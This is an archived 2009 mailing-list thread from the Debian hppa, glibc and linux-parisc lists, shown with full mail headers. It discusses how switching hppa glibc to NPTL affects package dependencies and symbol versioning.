More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc,gmane.linux.ports.parisc
Subject: Re: hppa nptl switch
Date: Tue, 01 Sep 2009 08:08:04 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <4A9CBA44.8040202@aurel32.net>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz> <119aab440908181851i174315c6lebacea921046bbb0@mail.gmail.com> <20090819124816.GC2517@hall.aurel32.net> <119aab440908302201s35719b5fh3f7d7b1e870c445f@mail.gmail.com> <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz> <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz> <119aab440908310810g6fa7e3d8s71f1f4bea0041f1@mail.gmail.com> <200908311846.49969.elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1251785317 23406 80.91.229.12 (1 Sep 2009 06:08:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Sep 2009 06:08:37 +0000 (UTC)
Cc: debian-glibc@lists.debian.org, 
 linux-parisc <linux-parisc@vger.kernel.org>
To: debian-hppa@lists.debian.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Tue Sep 01 08:08:30 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MiMXc-0004Af-5D
	for debian-hppa@m.gmane.org; Tue, 01 Sep 2009 08:08:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id AF2F413A5F5A; Tue,  1 Sep 2009 06:08:27 +0000 (UTC)
Old-Return-Path: <aurelien@aurel32.net>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-12.3 required=4.0 tests=ALL_TRUSTED,FOURLA,
	LDOSUBSCRIBER,LDO_WHITELIST autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 9A1FD13A5F30
	for <lists-debian-hppa@liszt.debian.org>; Tue,  1 Sep 2009 06:08:20 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-8.7 tagged_above=-10000 required=5.3
	tests=[ALL_TRUSTED=-1.8, BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5]
	autolearn=unavailable
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id ODn7JVq427us for <lists-debian-hppa@liszt.debian.org>;
	Tue,  1 Sep 2009 06:08:12 +0000 (UTC)
Original-Received: from hall.aurel32.net (hall.aurel32.net [IPv6:2002:58bf:52ae::1])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by liszt.debian.org (Postfix) with ESMTPS id 16DED13A5F2A;
	Tue,  1 Sep 2009 06:08:12 +0000 (UTC)
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by hall.aurel32.net with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <aurelien@aurel32.net>)
	id 1MiMXJ-0005fh-FF; Tue, 01 Sep 2009 08:08:09 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.22 (X11/20090707)
In-Reply-To: <200908311846.49969.elendil@planet.nl>
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <fVbs43saKuE.A.pxC.bpLnKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6977
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  1 Sep 2009 06:08:27 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5980 gmane.linux.debian.devel.glibc:30232 gmane.linux.ports.parisc:2093
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2093>

Frans Pop a =E9crit :
> Carlos O'Donell wrote:
>>> In practice it shouldn't be problem at all.
>>> Debian should make sure that binary/library compiled
>>> against NPTL-hppa-glibc will require NPTL-hppa-glibc
>>> by proper Depends: line like "libc6 (>=3D 2.10)".
>> Does every package have to do this? I'm not very familiar with all the
>> packaging requirements.
>=20
> It is something that should automatically get done correctly as long as=
=20
> the libc-dev package defines the minimum version that way.
>=20
> The mechanism that determines this is in /var/lib/dpkg/info/libc6.shlib=
s.=20
> Currently this has lines like:
>    libc 6 libc6 (>=3D 2.9)
>=20

No, as glibc uses symbols files, this file is actually not used.
Nevertheless it is still possible to resolve all symbols to libc6 (>=3D 2=
.10).

--=20
Aurelien Jarno                          GPG: 1024D/F1BCDB73
aurelien@aurel32.net                 http://www.aurel32.net


--=20
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian=
.org



From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.debian.devel.glibc,gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: hppa nptl switch
Date: Tue, 1 Sep 2009 09:55:18 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <119aab440909010655j148ad3b8oae5328d646ef570c@mail.gmail.com>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz>
	 <119aab440908181851i174315c6lebacea921046bbb0@mail.gmail.com>
	 <20090819124816.GC2517@hall.aurel32.net>
	 <119aab440908302201s35719b5fh3f7d7b1e870c445f@mail.gmail.com>
	 <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz>
	 <119aab440908310810g6fa7e3d8s71f1f4bea0041f1@mail.gmail.com>
	 <200908311846.49969.elendil@planet.nl> <4A9CBA44.8040202@aurel32.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1251813347 10041 80.91.229.12 (1 Sep 2009 13:55:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Sep 2009 13:55:47 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-glibc@lists.debian.org, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: bounce-debian-glibc=debian-glibc=m.gmane.org@lists.debian.org Tue Sep 01 15:55:39 2009
Return-path: <bounce-debian-glibc=debian-glibc=m.gmane.org@lists.debian.org>
Envelope-to: debian-glibc@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MiTpf-0006Aw-EB
	for debian-glibc@m.gmane.org; Tue, 01 Sep 2009 15:55:35 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 215EB13A57B5; Tue,  1 Sep 2009 13:55:35 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.3 required=4.0 tests=FOURLA,LDO_WHITELIST,
	SARE_MSGID_LONG40 autolearn=failed version=3.2.5
X-Original-To: lists-debian-glibc@liszt.debian.org
Delivered-To: lists-debian-glibc@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 543C413A572D
	for <lists-debian-glibc@liszt.debian.org>; Tue,  1 Sep 2009 13:55:28 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.263 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	SARE_MSGID_LONG40=0.637] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 11emmQcDs2DW for <lists-debian-glibc@liszt.debian.org>;
	Tue,  1 Sep 2009 13:55:21 +0000 (UTC)
X-policyd-weight: using cached result; rate: -6.9
Original-Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223])
	by liszt.debian.org (Postfix) with ESMTP id 15F342D0DAD;
	Tue,  1 Sep 2009 13:55:21 +0000 (UTC)
Original-Received: by fxm23 with SMTP id 23so19402fxm.30
        for <multiple recipients>; Tue, 01 Sep 2009 06:55:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=k0yAsVRVkuxV6zH/zSr964rDqI5QTkuJ44n+3iYFOso=;
        b=dmk+eNE2CZBwwNbquqzpHEJIS3WXoldWTmExheQmxV7nN68USah0WkaOngLKjGuosg
         kEvXBHl2+3RMaarPAph8/RRgoJ/602xSA7NCj8xafDHQ+4esJhw4xEDtQ7sZMW7X+SbQ
         F7R150FH521MwDHSYodCQGTPsmdvXAvuO5NgQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=HNJ62btPLHPgZSEGPhkiULf++ibepbBJoHWDbijBy+uM8mLzcWbChrvR60vA0sN4c9
         6VwVlLoyKGgfXqot+4PJgK7UhplixMVoxHQRa38hAFM65/jIemTEL4CmDwbXTCKFuG4Z
         Ga8VPVwZIQcvfva20i7qcmfeTd/H8yu8mxJA0=
Original-Sender: patofiero@gmail.com
Original-Received: by 10.204.8.65 with SMTP id g1mr5539032bkg.153.1251813318766; Tue, 
	01 Sep 2009 06:55:18 -0700 (PDT)
In-Reply-To: <4A9CBA44.8040202@aurel32.net>
X-Google-Sender-Auth: c065af2555677ecf
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <8VRelZ11U3.A.CdG.XfSnKB@liszt>
Resent-From: debian-glibc@lists.debian.org
X-Mailing-List: <debian-glibc@lists.debian.org> archive/latest/32525
X-Loop: debian-glibc@lists.debian.org
List-Id: <debian-glibc.lists.debian.org>
List-Post: <mailto:debian-glibc@lists.debian.org>
List-Help: <mailto:debian-glibc-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-glibc-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-glibc-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-glibc-request@lists.debian.org
Resent-Date: Tue,  1 Sep 2009 13:55:35 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.devel.glibc:30235 gmane.linux.debian.ports.hppa:5981 gmane.linux.ports.parisc:2094
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2094>

On Tue, Sep 1, 2009 at 2:08 AM, Aurelien Jarno<aurelien@aurel32.net> wrote:
> Frans Pop a =E9crit :
>> Carlos O'Donell wrote:
>>>> In practice it shouldn't be problem at all.
>>>> Debian should make sure that binary/library compiled
>>>> against NPTL-hppa-glibc will require NPTL-hppa-glibc
>>>> by proper Depends: line like "libc6 (>=3D 2.10)".
>>> Does every package have to do this? I'm not very familiar with all the
>>> packaging requirements.
>>
>> It is something that should automatically get done correctly as long as
>> the libc-dev package defines the minimum version that way.
>>
>> The mechanism that determines this is in /var/lib/dpkg/info/libc6.shlibs=
.
>> Currently this has lines like:
>> =A0 =A0libc 6 libc6 (>=3D 2.9)
>>
>
> No, as glibc uses symbols files, this file is actually not used.
> Nevertheless it is still possible to resolve all symbols to libc6 (>=3D 2=
.10).

Once an application is rebuilt against a new libc, what prevents the
user from downgrading libc and breaking the application?

Cheers,
Carlos.



From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc
Subject: Re: hppa nptl switch
Date: Tue, 1 Sep 2009 16:40:35 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <7d01f9f00909010740m61001b0eu4109d91e4130e831@mail.gmail.com>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz>
	 <119aab440908181851i174315c6lebacea921046bbb0@mail.gmail.com>
	 <20090819124816.GC2517@hall.aurel32.net>
	 <119aab440908302201s35719b5fh3f7d7b1e870c445f@mail.gmail.com>
	 <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz>
	 <119aab440908310810g6fa7e3d8s71f1f4bea0041f1@mail.gmail.com>
	 <200908311846.49969.elendil@planet.nl> <4A9CBA44.8040202@aurel32.net>
	 <119aab440909010655j148ad3b8oae5328d646ef570c@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1251816496 21175 80.91.229.12 (1 Sep 2009 14:48:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Sep 2009 14:48:16 +0000 (UTC)
Cc: Aurelien Jarno <aurelien@aurel32.net>,
	debian-hppa@lists.debian.org, debian-glibc@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 01 16:48:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MiUeR-00077A-5t
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Sep 2009 16:48:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751400AbZIAOr7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Sep 2009 10:47:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752145AbZIAOr7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 1 Sep 2009 10:47:59 -0400
Original-Received: from mail-pz0-f191.google.com ([209.85.222.191]:60916 "EHLO
	mail-pz0-f191.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751400AbZIAOr6 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Sep 2009 10:47:58 -0400
X-Greylist: delayed 445 seconds by postgrey-1.27 at vger.kernel.org; Tue, 01 Sep 2009 10:47:58 EDT
Original-Received: by pzk29 with SMTP id 29so45237pzk.1
        for <linux-parisc@vger.kernel.org>; Tue, 01 Sep 2009 07:48:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=1JQYIDJJfHRoNHrNq1/bdz9YE50AxgGtUR+nMYEzle4=;
        b=a4mFvxRRWPS96reOLzsuc2nn3Z1nD/kgNn2Ky4Ol+ud2QmVOCMG/5EyU3cl8Tj/ZxU
         zAODLk3dnWGRiaaqngjaJ8txp76BVWEWeKsi0XY8ERhGua47yUiJBVosbP7okiiwVOJk
         UEAhSmbmXoX/ihjYrrg8za3AFkYKfFmu9ORPo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=sJa/aAvGR8eXgpxqy0M5kqsOlbIXvaioegsJq2jqUi6E0VVXghboJ7u/03IotrCMSg
         sC74/UyHO7kyN6A1KIP5vhw4A7jBp1IaF+VY+vzyl319DO2lg399Fr0Z3headdDaFs6e
         agYbTgLvC6oxOC4ds6fwaJLJjZ4giWbV0tAX0=
Original-Received: by 10.115.102.20 with SMTP id e20mr4575469wam.209.1251816035230; 
	Tue, 01 Sep 2009 07:40:35 -0700 (PDT)
In-Reply-To: <119aab440909010655j148ad3b8oae5328d646ef570c@mail.gmail.com>
X-Google-Sender-Auth: 0817d6b8735be51e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2095 gmane.linux.debian.ports.hppa:5982 gmane.linux.debian.devel.glibc:30236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2095>

On Tue, Sep 1, 2009 at 3:55 PM, Carlos O'Donell<carlos@systemhalted.org=
> wrote:
> On Tue, Sep 1, 2009 at 2:08 AM, Aurelien Jarno<aurelien@aurel32.net> =
wrote:
>> Frans Pop a =C3=A9crit :
>>> Carlos O'Donell wrote:
>>>>> In practice it shouldn't be problem at all.
>>>>> Debian should make sure that binary/library compiled
>>>>> against NPTL-hppa-glibc will require NPTL-hppa-glibc
>>>>> by proper Depends: line like "libc6 (>=3D 2.10)".
>>>> Does every package have to do this? I'm not very familiar with all=
 the
>>>> packaging requirements.
>>>
>>> It is something that should automatically get done correctly as lon=
g as
>>> the libc-dev package defines the minimum version that way.
>>>
>>> The mechanism that determines this is in /var/lib/dpkg/info/libc6.s=
hlibs.
>>> Currently this has lines like:
>>> =C2=A0 =C2=A0libc 6 libc6 (>=3D 2.9)
>>>
>>
>> No, as glibc uses symbols files, this file is actually not used.
>> Nevertheless it is still possible to resolve all symbols to libc6 (>=
=3D 2.10).
>
> Once an application is rebuilt against a new libc, what prevents the
> user from downgrading libc and breaking the application?

I'd say "common sense" but I recall we don't have protection against
silliness ;^)

T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc
Subject: Re: hppa nptl switch
Date: Tue, 01 Sep 2009 17:50:27 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <4A9D42C3.70103@aurel32.net>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz>	 <119aab440908181851i174315c6lebacea921046bbb0@mail.gmail.com>	 <20090819124816.GC2517@hall.aurel32.net>	 <119aab440908302201s35719b5fh3f7d7b1e870c445f@mail.gmail.com>	 <Pine.LNX.4.62.0908310926590.9856@sci.felk.cvut.cz>	 <119aab440908310810g6fa7e3d8s71f1f4bea0041f1@mail.gmail.com>	 <200908311846.49969.elendil@planet.nl> <4A9CBA44.8040202@aurel32.net> <119aab440909010655j148ad3b8oae5328d646ef570c@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1251820248 2133 80.91.229.12 (1 Sep 2009 15:50:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Sep 2009 15:50:48 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-glibc@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 01 17:50:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MiVd0-0003wv-HC
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Sep 2009 17:50:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753721AbZIAPue convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Sep 2009 11:50:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753588AbZIAPue
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 1 Sep 2009 11:50:34 -0400
Original-Received: from hall.aurel32.net ([88.191.82.174]:39643 "EHLO hall.aurel32.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751325AbZIAPud (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Sep 2009 11:50:33 -0400
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by hall.aurel32.net with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <aurelien@aurel32.net>)
	id 1MiVcv-0000MY-GA; Tue, 01 Sep 2009 17:50:33 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.22 (X11/20090707)
In-Reply-To: <119aab440909010655j148ad3b8oae5328d646ef570c@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2096 gmane.linux.debian.ports.hppa:5983 gmane.linux.debian.devel.glibc:30237
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2096>

Carlos O'Donell a =E9crit :
> On Tue, Sep 1, 2009 at 2:08 AM, Aurelien Jarno<aurelien@aurel32.net> =
wrote:
>> Frans Pop a =E9crit :
>>> Carlos O'Donell wrote:
>>>>> In practice it shouldn't be problem at all.
>>>>> Debian should make sure that binary/library compiled
>>>>> against NPTL-hppa-glibc will require NPTL-hppa-glibc
>>>>> by proper Depends: line like "libc6 (>=3D 2.10)".
>>>> Does every package have to do this? I'm not very familiar with all=
 the
>>>> packaging requirements.
>>> It is something that should automatically get done correctly as lon=
g as
>>> the libc-dev package defines the minimum version that way.
>>>
>>> The mechanism that determines this is in /var/lib/dpkg/info/libc6.s=
hlibs.
>>> Currently this has lines like:
>>>    libc 6 libc6 (>=3D 2.9)
>>>
>> No, as glibc uses symbols files, this file is actually not used.
>> Nevertheless it is still possible to resolve all symbols to libc6 (>=
=3D 2.10).
>=20
> Once an application is rebuilt against a new libc, what prevents the
> user from downgrading libc and breaking the application?
>=20

If we make sure that the new programs are using symbols from version
GLIBC_2.10, the program should refuse to start with a lower version of
the glibc.

--=20
Aurelien Jarno                          GPG: 1024D/F1BCDB73
aurelien@aurel32.net                 http://www.aurel32.net
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.glibc
Subject: Re: hppa nptl switch
Date: Tue, 1 Sep 2009 20:03:47 -0400
Organization: wh0rd.org
Lines: 78
Approved: news@gmane.org
Message-ID: <200909012003.49114.vapier@gentoo.org>
References: <Pine.LNX.4.62.0908181940440.7856@sci.felk.cvut.cz> <119aab440909010655j148ad3b8oae5328d646ef570c@mail.gmail.com> <4A9D42C3.70103@aurel32.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1727791.UFAkbaJvdF";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251850258 30390 80.91.229.12 (2 Sep 2009 00:10:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2009 00:10:58 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	debian-hppa@lists.debian.org, debian-glibc@lists.debian.org,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 02 02:10:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MidR4-0000KD-Pz
	for glpp-linux-parisc@lo.gmane.org; Wed, 02 Sep 2009 02:10:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755413AbZIBAKp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Sep 2009 20:10:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755412AbZIBAKp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 1 Sep 2009 20:10:45 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:53190 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755441AbZIBAKo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Sep 2009 20:10:44 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 29EE866FEB;
	Wed,  2 Sep 2009 00:11:02 +0000 (UTC)
User-Agent: KMail/1.12.0 (Linux/2.6.30.5; KDE/4.3.0; x86_64; ; )
In-Reply-To: <4A9D42C3.70103@aurel32.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2097 gmane.linux.debian.ports.hppa:5985 gmane.linux.debian.devel.glibc:30239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2097>

--nextPart1727791.UFAkbaJvdF
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Tuesday 01 September 2009 11:50:27 Aurelien Jarno wrote:
> Carlos O'Donell a =E9crit :
> > On Tue, Sep 1, 2009 at 2:08 AM, Aurelien Jarno<aurelien@aurel32.net>=20
wrote:
> >> Frans Pop a =E9crit :
> >>> Carlos O'Donell wrote:
> >>>>> In practice it shouldn't be problem at all.
> >>>>> Debian should make sure that binary/library compiled
> >>>>> against NPTL-hppa-glibc will require NPTL-hppa-glibc
> >>>>> by proper Depends: line like "libc6 (>=3D 2.10)".
> >>>>
> >>>> Does every package have to do this? I'm not very familiar with all t=
he
> >>>> packaging requirements.
> >>>
> >>> It is something that should automatically get done correctly as long =
as
> >>> the libc-dev package defines the minimum version that way.
> >>>
> >>> The mechanism that determines this is in
> >>> /var/lib/dpkg/info/libc6.shlibs. Currently this has lines like:
> >>>    libc 6 libc6 (>=3D 2.9)
> >>
> >> No, as glibc uses symbols files, this file is actually not used.
> >> Nevertheless it is still possible to resolve all symbols to libc6 (>=3D
> >> 2.10).
> >
> > Once an application is rebuilt against a new libc, what prevents the
> > user from downgrading libc and breaking the application?
>
> If we make sure that the new programs are using symbols from version
> GLIBC_2.10, the program should refuse to start with a lower version of
> the glibc.

i think the question was one about packaging rather than general use ?  if =
you=20
build a package against a newer glibc version but it only uses older symbol=
s,=20
then in theory it should work fine with older glibc versions.  if the symbo=
l=20
changes between versions, then it should have corresponding symbol version=
=20
changes as well (which will automatically be recorded in the binary).
=2Dmike

--nextPart1727791.UFAkbaJvdF
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
